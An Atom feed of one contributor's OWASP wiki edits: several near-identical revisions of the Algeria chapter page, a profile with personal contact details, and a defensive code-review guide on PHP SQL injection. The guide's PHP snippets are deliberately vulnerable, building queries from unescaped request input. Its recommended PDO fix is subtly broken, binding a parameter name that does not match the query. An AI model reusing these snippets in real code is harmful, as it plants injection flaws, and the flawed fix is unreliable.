<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Islam+Azeddine+Mennouchi</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Islam+Azeddine+Mennouchi"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Islam_Azeddine_Mennouchi"/>
		<updated>2026-05-27T02:59:51Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=247440</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=247440"/>
				<updated>2019-02-13T17:50:07Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
OWASP Extended AppSec Algeria 5th,9th May [https://www.facebook.com/owaspdz/photos/pb.287791794601341.-2207520000.1436652813./684684851578698/?type=1&amp;amp;theater Details]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Students presentation November 2014 [http://univ-constantine2.dz University Abdelhamid Mehri Constantine]&lt;br /&gt;
&lt;br /&gt;
OWASP Track StartupAcademy April 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Training Scientific Clubs Summer School Boumerdes,Algeria August 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Top 10 Mobile risks Webinar - May 2016 [http://www.slideshare.net/islamoc/owasp-mobile-top-10-2014-61759966 Slides]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Extended AppSec Feb 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
Local Hack Day December 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Meeting January 27th 2018 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Data Science and Big Data Security October 13th 2018&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria What does it take to be a Security professional December 10th 2018&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=238967</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=238967"/>
				<updated>2018-03-26T20:21:18Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
OWASP Extended AppSec Algeria 5th,9th May [https://www.facebook.com/owaspdz/photos/pb.287791794601341.-2207520000.1436652813./684684851578698/?type=1&amp;amp;theater Details]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Students presentation November 2014 [http://univ-constantine2.dz University Abdelhamid Mehri Constantine]&lt;br /&gt;
&lt;br /&gt;
OWASP Track StartupAcademy April 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Training Scientific Clubs Summer School Boumerdes,Algeria August 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Top 10 Mobile risks Webinar - May 2016 [http://www.slideshare.net/islamoc/owasp-mobile-top-10-2014-61759966 Slides]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Extended AppSec Feb 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
Local Hack Day December 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Meeting January 27th 2018 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=238963</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=238963"/>
				<updated>2018-03-26T16:50:42Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: New events&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
OWASP Extended AppSec Algeria 5th,9th May [https://www.facebook.com/owaspdz/photos/pb.287791794601341.-2207520000.1436652813./684684851578698/?type=1&amp;amp;theater Details]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Students presentation November 2014 [http://univ-constantine2.dz University Abdelhamid Mehri Constantine]&lt;br /&gt;
&lt;br /&gt;
OWASP Track StartupAcademy April 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Training Scientific Clubs Summer School Boumerdes,Algeria August 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Top 10 Mobile risks Webinar - May 2016 [http://www.slideshare.net/islamoc/owasp-mobile-top-10-2014-61759966 Slides]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Extended AppSec Feb 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
Local Hack Day December 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Meeting January 27th 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=238962</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=238962"/>
				<updated>2018-03-26T16:47:17Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
OWASP Extended AppSec Algeria 5th,9th May [https://www.facebook.com/owaspdz/photos/pb.287791794601341.-2207520000.1436652813./684684851578698/?type=1&amp;amp;theater Details]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Students presentation November 2014 [http://univ-constantine2.dz University Abdelhamid Mehri Constantine]&lt;br /&gt;
&lt;br /&gt;
OWASP Track StartupAcademy April 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Training Scientific Clubs Summer School Boumerdes,Algeria August 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Top 10 Mobile risks Webinar - May 2016 [http://www.slideshare.net/islamoc/owasp-mobile-top-10-2014-61759966 Slides]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Extended AppSec Feb 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=226593</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=226593"/>
				<updated>2017-02-21T21:30:39Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
OWASP Extended AppSec Algeria 5th,9th May [https://www.facebook.com/owaspdz/photos/pb.287791794601341.-2207520000.1436652813./684684851578698/?type=1&amp;amp;theater Details]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Students presentation November 2014 [http://univ-constantine2.dz University Abdelhamid Mehri Constantine]&lt;br /&gt;
&lt;br /&gt;
OWASP Track StartupAcademy April 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Training Scientific Clubs Summer School Boumerdes,Algeria August 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Top 10 Mobile risks Webinar - May 2016 [http://www.slideshare.net/islamoc/owasp-mobile-top-10-2014-61759966 Slides]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Extended AppSec Feb 2017 Abdelhamid Mehri University Constantine&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=216576</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=216576"/>
				<updated>2016-05-09T09:07:39Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: /* Local News */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
OWASP Extended AppSec Algeria 5th,9th May [https://www.facebook.com/owaspdz/photos/pb.287791794601341.-2207520000.1436652813./684684851578698/?type=1&amp;amp;theater Details]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Students presentation November 2014 [http://univ-constantine2.dz University Abdelhamid Mehri Constantine]&lt;br /&gt;
&lt;br /&gt;
OWASP Track StartupAcademy April 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Training Scientific Clubs Summer School Boumerdes,Algeria August 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Top 10 Mobile risks Webinar - May 2016 [http://www.slideshare.net/islamoc/owasp-mobile-top-10-2014-61759966 Slides]&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=202090</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=202090"/>
				<updated>2015-10-13T13:37:33Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: /* News */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
OWASP Extended AppSec Algeria 5th,9th May [https://www.facebook.com/owaspdz/photos/pb.287791794601341.-2207520000.1436652813./684684851578698/?type=1&amp;amp;theater Details]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Students presentation November 2014 [http://univ-constantine2.dz University Abdelhamid Mehri Constantine]&lt;br /&gt;
&lt;br /&gt;
OWASP Track StartupAcademy April 2015&lt;br /&gt;
&lt;br /&gt;
OWASP Training Scientific Clubs Summer School Boumerdes,Algeria August 2015&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=197341</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=197341"/>
				<updated>2015-07-11T22:26:54Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
OWASP Extended AppSec Algeria 5th,9th May [https://www.facebook.com/owaspdz/photos/pb.287791794601341.-2207520000.1436652813./684684851578698/?type=1&amp;amp;theater Details]&lt;br /&gt;
&lt;br /&gt;
OWASP Algeria Students presentation November 2014 [http://univ-constantine2.dz University Abdelhamid Mehri Constantine]&lt;br /&gt;
&lt;br /&gt;
OWASP Track StartupAcademy April 2015&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=172942</id>
		<title>User:Islam Azeddine Mennouchi</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=172942"/>
				<updated>2014-04-17T00:21:01Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Mennouchi Islam Azeddine owasp Algeria chapter leader Consultant At ITS&lt;br /&gt;
&lt;br /&gt;
== Professional Details  ==&lt;br /&gt;
* Consultant at Info Tools Solutions&lt;br /&gt;
* Teacher and contributor at Hacking-Lab&lt;br /&gt;
* Security Free Lancer&lt;br /&gt;
* Owasp Algeria Chapter Leader&lt;br /&gt;
&lt;br /&gt;
== Contributions ==&lt;br /&gt;
* OWASP ODZ Multi Cms Scanner (Leader)&lt;br /&gt;
* Sevral Cheat Contributor (Access Control , XSS Filter Evasion ...)&lt;br /&gt;
* OWASP ZAP&lt;br /&gt;
* OWASP OWTF&lt;br /&gt;
* OWASP PHP Security project&lt;br /&gt;
&lt;br /&gt;
== Contact Details ==&lt;br /&gt;
Facebook : [http://www.facebook.com/islamoc Mennouchi Islam Azeddine]&lt;br /&gt;
Linkedin : [http://www.linkedin.com/pub/islam-azeddine-mennouchi/48/109/512 Mennouchi Islam Azeddine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
emails : &lt;br /&gt;
         azeddine.mennouchi@owasp.org&lt;br /&gt;
         ai_mennouchi@esi.dz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Phone : +213796314102&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171683</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171683"/>
				<updated>2014-04-05T18:35:20Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases.&lt;br /&gt;
&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
&lt;br /&gt;
you will avoid Sql injection using addslashes() only in the case when you wrap the query string with quotes.The following example would still be vulnerable  &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Recommendation==&lt;br /&gt;
the formula for Sql-injection-free code:&lt;br /&gt;
 Good Data Validation + Prepared Statement&lt;br /&gt;
&lt;br /&gt;
The PHP Data Objects (PDO) extension defines an abstract database interface that offers parameterized queries for prepared statements and stored procedures. It is available from PHP 5. Use of PDO::prepare will provide good SQL injection defenses, with some exceptions&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $id = htmlspecialchars($_GET[&amp;quot;id&amp;quot;]); //Validation&lt;br /&gt;
 $sql = 'SELECT * FROM users WHERE id = :calories';&lt;br /&gt;
 $sth = $dbh-&amp;gt;prepare($sql, array(PDO::ATTR_CURSOR =&amp;gt; PDO::CURSOR_FWDONLY)); //prepared statement&lt;br /&gt;
 $sth-&amp;gt;execute(array(':id' =&amp;gt; $id));&lt;br /&gt;
 $red = $sth-&amp;gt;fetchAll();&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
[http://www.php.net/manual/en/book.pdo.php PDO]&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171672</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171672"/>
				<updated>2014-04-05T18:07:43Z</updated>
		
